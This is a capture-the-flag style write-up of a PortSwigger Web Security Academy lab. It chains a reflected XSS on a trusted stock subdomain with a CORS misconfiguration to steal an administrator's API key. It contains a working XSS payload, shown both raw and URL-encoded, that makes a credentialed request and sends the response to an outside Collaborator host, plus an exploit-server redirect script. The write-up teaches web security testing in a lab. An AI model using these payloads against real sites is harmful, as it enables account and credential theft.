Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CORS Misconfiguration + XSS via Trusted Subdomain
Difficulty Practitioner
Objective Chain a subdomain XSS with the CORS misconfiguration to exfiltrate the administrator's API key

CORS Vulnerability with Trusted Insecure Protocols — Writeup


Initial Observation

Logged in as wiener:peter. Same pattern — API key fetched from /accountDetails:

fetch('/accountDetails', {credentials:'include'})
    .then(r => r.json())
    .then(j => document.getElementById('apikey').innerText = j.apikey)

Intercepting the request in Burp:

Screenshot
{
  "username": "wiener",
  "email": "",
  "apikey": "u49pHp5plqS3kO3HuVAYsuK2C9VYdc5G",
  "sessions": [
    "Lbcf7keLOSoYNS4xqSfW3mn1VtShMgb3"
  ]
}

Web — Testing the CORS Policy

Adding Origin: teto.com and Origin: null — neither gets reflected. The server isn't trusting arbitrary origins or null this time.

Trying a subdomain of the target:

Origin: https://teto.0a33009b03da8bbe83af08d700990034.web-security-academy.net

Response:

Access-Control-Allow-Origin: https://teto.0a33009b03da8bbe83af08d700990034.web-security-academy.net
Access-Control-Allow-Credentials: true
Screenshot

Any subdomain of the target is trusted, including subdomains that don't exist yet. Now we need to find a real subdomain we can use.

Finding the Stock Subdomain

Clicking "Check stock" on any product opens a new tab at:

http://stock.web-security-academy.net/?productId=1&storeId=1
Screenshot

Modifying productId to something arbitrary:

?productId=teto&storeId=1
Screenshot
ERROR
Invalid product ID: teto

The value is reflected on the page. Trying HTML injection:

?productId=<marquee>TETO</marquee>&storeId=1
Screenshot

Renders. Trying a script tag:

?productId=<script>alert(0)</script>&storeId=1
Screenshot
<body><h4>ERROR</h4>Invalid product ID: <script>alert(0)</script></body>

XSS confirmed on the stock subdomain. Confirming it's trusted by the main domain's CORS policy:

Screenshot
Access-Control-Allow-Origin: https://stock.0a33009b03da8bbe83af08d700990034.web-security-academy.net
Access-Control-Allow-Credentials: true

We have all the pieces: a trusted subdomain with XSS. Any script injected there can make a credentialed CORS request to /accountDetails and the main server will accept it.


Attack Path

Building the XSS Payload

The script to execute on the stock subdomain — it makes a credentialed GET to /accountDetails and exfiltrates the response to Collaborator. %2b is URL-encoded + to avoid breaking the URL when used inline:

var req = new XMLHttpRequest();
req.onload = function(){
    new Image().src = "https://oa28xn3xrxdhigf0pm9ub6akyb44sugj.oastify.com/?tetoKey=" + btoa(req.responseText);
};
req.open("GET", "https://0a33009b03da8bbe83af08d700990034.web-security-academy.net/accountDetails", true);
req.withCredentials = true;
req.send();

URL-encoding the entire script and injecting it into productId, we can verify it works by visiting the crafted URL directly — Collaborator receives our own API key:

http://stock.0a33009b03da8bbe83af08d700990034.web-security-academy.net/?productId=%3Cscript%3Evar%20req%20=%20new%20XMLHttpRequest();req.onload%20=%20function(){new%20Image().src%20=%20%22https://oa28xn3xrxdhigf0pm9ub6akyb44sugj.oastify.com/?tetoKey=%22%20%2b%20btoa(req.responseText);};req.open(%22GET%22,%20%22https://0a33009b03da8bbe83af08d700990034.web-security-academy.net/accountDetails%22,%20true);req.withCredentials%20=%20true;req.send();%3C/script%3E&storeId=1
Screenshot

Delivering to the Victim

On the exploit server we redirect the victim to the stock subdomain XSS URL. Their browser executes the script in the context of the trusted subdomain — the CORS request to /accountDetails goes out with Origin: http://stock.[target], which the main server trusts, and their session cookie travels with it:

<script>
document.location="http://stock.0a33009b03da8bbe83af08d700990034.web-security-academy.net/?productId=%3Cscript%3Evar%20req%20=%20new%20XMLHttpRequest();req.onload%20=%20function(){new%20Image().src%20=%20%22https://oa28xn3xrxdhigf0pm9ub6akyb44sugj.oastify.com/?tetoKey=%22%20%2b%20btoa(req.responseText);};req.open(%22GET%22,%20%22https://0a33009b03da8bbe83af08d700990034.web-security-academy.net/accountDetails%22,%20true);req.withCredentials%20=%20true;req.send();%3C/script%3E&storeId=1";
</script>
Screenshot

Collaborator receives the administrator's API key:

Screenshot
Screenshot

Submitting the solution we solved the lab 0....0

Resources